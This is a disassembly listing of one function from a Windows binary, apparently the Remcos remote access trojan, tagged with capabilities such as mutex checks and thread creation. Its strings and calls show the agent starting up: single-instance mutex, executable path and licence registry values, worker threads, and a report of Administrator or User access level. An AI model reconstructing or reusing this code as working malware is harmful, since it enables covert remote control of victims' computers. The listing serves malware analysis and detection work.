Function at 0x40d53f
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0x30c
mov dword [0x46fd10], eax
push ebx
push esi
push edi
call fcn.0041aa34
lea ecx, [esp + 0x48]
call fcn.0040ded2
sub esp, 0x18
mov ecx, esp
push 0x472278
call fcn.004020d6
sub esp, 0x18
lea eax, [esp + 0x78]
mov ecx, esp
push eax
call fcn.004020d6
lea ecx, [esp + 0x60]
call fcn.00419ee1
add esp, 0x30
push eax
call fcn.0040e6b2
lea ecx, [esp + 0x30]
call fcn.00401e6d
push 0x464010
push dword [ebp + 0x10]
call fcn.0043a4b0
pop ecx
pop ecx
test eax, eax
jne 0x40d607
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x70]
call fcn.0040e758
push 0x34
mov ecx, 0x471ffc
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov edx, eax
lea ecx, [esp + 0x60]
call fcn.0040fadc
lea ecx, [esp + 0x60]
call fcn.0040e709
lea ecx, [esp + 0x60]
call fcn.0040debf
lea ecx, [esp + 0x48]
call fcn.00401fb8
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, 0x471ffc
push 3
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x46307c
push 0xe
mov ecx, esi
cmp byte [eax], 0
setne byte [0x46fb02]
call fcn.00401e45
push eax
mov edx, str.Software_
lea ecx, [esp + 0x20]
call fcn.004052fe
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00408209
pop ecx
mov edi, 0x472200
push eax
mov ecx, edi
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
lea ecx, [esp + 0x18]
call fcn.00401fb8
push 0xe
mov ecx, esi
call fcn.00401e45
push eax
mov ecx, 0x472230
call fcn.00401fa0
push 0x464034
mov ecx, 0x472290
call fcn.00405a86
xor ebx, ebx
mov ecx, esi
push ebx
push 0x32
call fcn.00401e45
mov ecx, eax
call fcn.004051c3
push ebx
push 0x33
mov ecx, esi
cmp byte [eax], bl
setne byte [0x46fd17]
call fcn.00401e45
mov ecx, eax
call fcn.004051c3
cmp byte [eax], bl
setne byte [0x46fd2c]
cmp byte [0x46fd17], bl
je 0x40d71e
push 0x464038
mov edx, 0x472230
lea ecx, [esp + 0x1c]
call fcn.0040822a
pop ecx
push eax
mov ecx, 0x472328
call fcn.00401fc2
lea ecx, [esp + 0x18]
call fcn.00401fb8
lea eax, [esp + 0x10]
mov dword [esp + 0x10], ebx
push eax
push 0x46403c
mov ecx, edi
call fcn.00401f8b
mov edx, eax
call fcn.00412083
pop ecx
pop ecx
test al, al
jne 0x40de5e
push 0xd
mov ecx, esi
mov dword [esp + 0x18], ebx
call fcn.00401e45
mov edx, 0x4630d4
mov ecx, eax
call fcn.0040fcfa
test al, al
je 0x40d7a5
push 7
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, eax
test esi, esi
je 0x40d771
push 0xea60
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x14]
mov esi, 0x464040
push eax
push esi
mov ecx, edi
call fcn.00401f8b
mov edx, eax
call fcn.00412083
pop ecx
pop ecx
test al, al
je 0x40d7a0
push esi
mov ecx, edi
call fcn.00401f8b
mov edx, eax
call fcn.004124e9
pop ecx
mov esi, 0x471ffc
mov ecx, 0x472230
call fcn.00401f8b
push eax
xor ebx, ebx
xor edi, edi
inc ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40dae0
mov eax, dword [0x471aa0]
test eax, eax
je 0x40d7d9
call eax
push 0x104
push 0x46fb08
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.004193de
mov eax, dword [0x471aac]
test eax, eax
je 0x40d7ff
call eax
mov dword [0x46e9c0], eax
cmp dword [esp + 0x14], edi
jne 0x40d866
push 0x2e
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40d866
cmp dword [0x471aac], edi
je 0x40d866
cmp dword [0x46e9c0], edi
je 0x40d846
push edi
push 0x4638a0
mov ecx, 0x472910
call fcn.004060ea
cmp eax, 0xffffffff
jne 0x40d866
call fcn.004067a0
jmp 0x40d866
push str.origmsc
mov ecx, 0x472200
call fcn.00401f8b
mov edx, eax
call fcn.00412039
pop ecx
test al, al
jne 0x40d866
call fcn.004066a6
push 0x27
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40d880
call fcn.0040e650
push 0xb
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
mov ecx, 0x4721d0
call fcn.00408093
push 4
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 5
mov ecx, esi
cmp byte [eax], 0
setne byte [0x46fb03]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 8
mov ecx, esi
cmp byte [eax], 0
setne byte [0x46fb00]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 3
mov ecx, esi
cmp byte [eax], 0
setne byte [0x46fb01]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
je 0x40d964
push 0x30
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.004399eb
pop ecx
test eax, eax
je 0x40d964
push 9
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x30
mov ecx, 0x471ffc
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dl, byte [esi]
lea ecx, [esp + 0x18]
push eax
call fcn.0040c63a
pop ecx
push eax
mov ecx, 0x472218
call fcn.00401ef3
lea ecx, [esp + 0x18]
call fcn.00401ee9
mov esi, 0x471ffc
cmp dword [esp + 0x14], edi
jne 0x40daf0
cmp byte [0x46fb02], 0
je 0x40d9f6
push 0x1e
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0xc
mov ecx, esi
mov bh, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 9
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
test bh, bh
mov esi, eax
setne cl
test bl, bl
movzx ecx, cl
mov ebx, 0x471ffc
push ecx
setne cl
movzx ecx, cl
push ecx
push 0xa
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push 0x30
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov cl, byte [esi]
mov edx, eax
call fcn.0040b871
xor ebx, ebx
add esp, 0xc
inc ebx
jmp 0x40da05
push 0x46fb08
mov ecx, 0x4721e8
call fcn.00408093
mov ecx, 0x4721e8
call fcn.0040245c
xor ecx, ecx
inc eax
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
mov dword [esp + 0x14], ecx
call fcn.004326d7
mov esi, eax
pop ecx
test esi, esi
je 0x40da3f
push dword [esp + 0x10]
push edi
push esi
call fcn.00434dc0
add esp, 0xc
jmp 0x40da41
mov esi, edi
mov ecx, 0x4721e8
call fcn.00401ee4
push eax
push esi
call fcn.0043a946
pop ecx
mov edi, 0x472248
mov ecx, edi
call fcn.0040245c
push eax
mov ecx, edi
call fcn.00401f8b
push eax
mov ecx, 0x4721e8
call fcn.0040245c
mov ecx, 0x472200
lea eax, [eax*2 + 2]
push eax
push esi
push str.exepath
call fcn.00401f8b
mov edx, eax
call fcn.00412487
push esi
call fcn.004326e0
add esp, 0x1c
mov esi, 0x471ffc
mov ecx, esi
push 0xd
call fcn.00401e45
mov edx, 0x4630d4
mov ecx, eax
call fcn.0040fcfa
test al, al
je 0x40db55
push 0xd
mov ecx, esi
call fcn.00401e45
sub esp, 0x18
mov edx, eax
mov ecx, esp
call fcn.00419d24
call fcn.0040df83
add esp, 0x18
cmp al, bl
jne 0x40db55
push 3
pop ebx
lea ecx, [esp + 0x48]
call fcn.00401fb8
mov eax, ebx
jmp 0x40d5fe
mov esi, 0x208
lea eax, [esp + 0x110]
push esi
push edi
push eax
call fcn.00434dc0
add esp, 0xc
mov edi, 0x472248
mov ecx, edi
call fcn.0040245c
push eax
mov ecx, edi
call fcn.00401f8b
push eax
push esi
lea eax, [esp + 0x11c]
mov ecx, 0x472200
push eax
push str.exepath
call fcn.00401f8b
mov edx, eax
call fcn.00412237
add esp, 0x14
lea eax, [esp + 0x110]
mov ecx, 0x4721e8
push eax
call fcn.00408093
mov esi, 0x471ffc
push ebx
push 0x34
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402073
push str.licence
mov ecx, 0x472200
call fcn.00401f8b
mov edx, eax
call fcn.004122ae
add esp, 0x20
mov ecx, esi
push 0x28
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.004399c1
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [0x46fd14], al
pop ecx
cmp al, 2
jne 0x40dbb4
mov cl, bl
jmp 0x40dbba
cmp al, bl
jne 0x40dbcd
xor cl, cl
call fcn.0041abec
xor eax, eax
push eax
push eax
push eax
push 0x41b39c
push eax
push eax
call edi
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462f64
call fcn.00402073
call fcn.0041960a
add esp, 0x30
mov ecx, esi
push 0x37
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x10
mov ecx, esi
mov bl, byte [eax]
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0xf
mov ecx, esi
mov al, byte [eax]
mov dword [esp + 0x14], eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
test bl, bl
mov esi, eax
mov ebx, 0x471ffc
setne cl
movzx ecx, cl
push ecx
push 0x36
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.004399c1
pop ecx
push eax
push 0x11
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push 0x31
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
push dword [esp + 0x20]
movzx eax, byte [esi]
push eax
call fcn.00408f1f
push 0x14
mov ecx, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
xor ebx, ebx
inc ebx
cmp byte [eax], bl
jne 0x40dcd2
push 2
pop eax
push eax
call fcn.00432429
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x471ffc
mov byte [esi], 0
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
setne cl
xor eax, eax
push eax
push eax
push esi
push 0x41809a
push eax
push eax
mov byte [esi + 1], cl
call edi
mov esi, 0x471ffc
push 0x16
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], bl
jne 0x40dd28
push 2
pop eax
push eax
call fcn.00432429
mov esi, eax
pop ecx
push 0x35
mov ecx, 0x471ffc
mov byte [esi], bl
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], 0
setne cl
xor eax, eax
push eax
push eax
push esi
push 0x41809a
push eax
push eax
mov byte [esi + 1], cl
call edi
mov esi, 0x471ffc
push 0x23
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], bl
jne 0x40dd9b
push 0x25
mov ecx, esi
mov byte [0x46fa75], bl
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x26
mov ecx, 0x471ffc
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dl, byte [esi]
lea ecx, [esp + 0x18]
push eax
call fcn.0040c5ee
pop ecx
push eax
mov ecx, 0x471cfc
call fcn.00401ef3
lea ecx, [esp + 0x18]
call fcn.00401ee9
xor eax, eax
push eax
push eax
push eax
push 0x401bc9
push eax
push eax
call edi
mov esi, 0x471ffc
push 0x2b
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
cmp byte [eax], bl
jne 0x40dde8
push 0x2c
mov ecx, esi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x2d
mov ecx, 0x471ffc
mov esi, eax
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push eax
call fcn.004399c1
cmp byte [esi], 0
mov edx, eax
pop ecx
setne cl
call fcn.0040b0a3
lea ecx, [esp + 0x18]
call fcn.00419728
push eax
mov ecx, 0x472260
call fcn.00401ef3
lea ecx, [esp + 0x18]
call fcn.00401ee9
mov eax, dword [0x471aa4]
xor ebx, ebx
test eax, eax
je 0x40de13
push ebx
call eax
push ebx
push ebx
push ebx
push 0x40e2dc
push ebx
push ebx
call edi
cmp byte [0x46fd17], 0
je 0x40de34
push ebx
push ebx
push ebx
push fcn.00410cab
push ebx
push ebx
call edi
cmp byte [0x46fd2c], 0
je 0x40de49
push ebx
push ebx
push ebx
push 0x41128f
push ebx
push ebx
call edi
mov eax, dword [0x46e9c0]
sub eax, ebx
je 0x40de7b
sub eax, 1
jne 0x40deb9
push str.Administrator
jmp 0x40de80
push 0x46403c
mov ecx, edi
call fcn.00401f8b
mov edx, eax
call fcn.004124e9
pop ecx
mov ecx, dword [esp + 0x10]
call fcn.00411029
push str.User
lea ecx, [esp + 0x1c]
call fcn.00402073
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x462f64
call fcn.00402073
call fcn.0041960a
add esp, 0x30
lea ecx, [esp + 0x18]
call fcn.00401fb8
call fcn.00413acf
int3